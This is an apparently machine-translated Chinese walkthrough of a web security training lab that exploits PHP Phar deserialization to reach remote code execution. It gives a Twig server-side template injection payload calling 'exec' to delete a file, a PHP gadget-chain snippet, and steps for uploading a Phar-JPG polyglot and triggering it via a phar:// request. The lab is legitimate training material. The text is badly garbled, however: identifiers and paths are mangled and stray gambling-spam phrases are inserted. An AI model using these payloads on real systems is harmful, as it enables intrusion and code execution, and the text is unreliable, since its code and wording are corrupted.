实验室:使用Phar Deserialization来部署自定义小工具链
专家
此实验室没有明确使用反序列化。但是,如果你结合了ph
使用其他先进的黑客技术进行反序列化,您仍然可以通过自定义小工具链实现远程代码执行。
要解决实验室,请删除莫雷莱.txt.
来自Carlos的主目录的文件。
您可以使用以下凭据登录您自己的帐户:维纳:彼得
学习途径
如果你遵循我们的建议学习途径请注意,此实验室需要一些了解我们尚未覆盖的主题。如果你被困,不要担心;一旦你进一步发展了你的知识,就会稍后再回去。
解决方案
- 观察该网站有一个上传您自己的头像的beplay体育能用吗功能,只接受
jpg.
图片。上传有效jpg.
作为你的头像。请注意,它是加载的获取/cgi-bin/avatar.php?avatar=wiener.
。
- 在Burp中继器,请求
get / cgi-bin
找到一个显示一个索引Blog.php.
和customtemplate.php.
文件。通过请求文件使用文件来获取源代码.php〜
备份扩展。
- 研究源代码并识别涉及的小工具链
博客 - > DESC
和customtemplate-> lockfilepath.
属性。
- 请注意
文件已存在()
文件系统方法被调用锁定菲涅ath.
属性。
请注意,该网站使用Twig模板引beplay体育能用吗擎。您可以使用Deserialization来传递服务器端模板注入(SSTI)有效载荷。查找文档的SSTI有效载荷,用于在Twig上执行远程代码执行,并调整它以删除Carlos的文件:
{{_self.env.registerundeDefinedFilterCallback(“exec”)}} {{_ self.env.getfilter(“rm / home/carlos/morale.txt”)}}
写一个用于创建一个phpCustomTemplate.
和博客
包含您的SSTI有效载荷:
class customtemplate {} class blog {} $ object = new customtemplate;$博客=新博客;$博客 - > desc ='{{_self.env.registerundeDefinedFiledFilterCallback(“exec”)}} {{_ self.env.getfilter(“rm / home/carlos/morale.txt”)}}';$博客 - >用户='用户';$对象 - > template_file_path = $博客;
- 创建一个
Phar-jpg.
polyglot包含您的PHP脚本。您可以找到在线执行此操作的几个脚本(搜索“Phar JPG polyglot.
“)。或者,您可以下载我们的ready。
- 将此文件上传为您的头像。
在Burp Repeater中,修改请求行以使用a将您的恶意头像进行反序列化Phar://
流如下:
获取/cgi-bin/avatar.php?avatar=phar://wiener.
- 发送请求以解决实验室。